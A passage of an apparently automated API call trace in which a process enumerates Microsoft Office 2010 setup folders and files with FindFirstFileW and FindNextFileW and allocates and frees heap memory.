hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.345] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0169.345] GetProcessHeap () returned 0x6a0000 [0169.345] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.345] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.346] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.346] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0169.346] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.346] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.346] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.346] GetProcessHeap () returned 0x6a0000 [0169.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.346] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0169.346] GetProcessHeap () returned 0x6a0000 [0169.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0169.350] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.350] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0169.350] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.350] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.350] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0169.351] GetProcessHeap () returned 0x6a0000 [0169.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.351] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0169.351] GetProcessHeap () returned 0x6a0000 [0169.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0169.352] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.352] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0169.352] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.352] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.352] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0169.352] GetProcessHeap () returned 0x6a0000 [0169.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.352] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0169.353] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0169.353] GetProcessHeap () returned 0x6a0000 [0169.353] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0169.355] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.355] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.355] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0169.355] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0169.355] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0169.355] GetProcessHeap () returned 0x6a0000 [0169.355] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.355] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0169.355] GetProcessHeap () returned 0x6a0000 [0169.355] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0169.356] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.356] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.357] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0169.357] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0169.357] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0169.357] GetProcessHeap () returned 0x6a0000 [0169.357] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.357] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0169.357] GetProcessHeap () returned 0x6a0000 [0169.357] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0169.494] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0169.494] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.495] GetProcessHeap () returned 0x6a0000 [0169.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.495] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0169.495] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.517] GetProcessHeap () returned 0x6a0000 [0169.517] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0169.519] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0169.520] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, 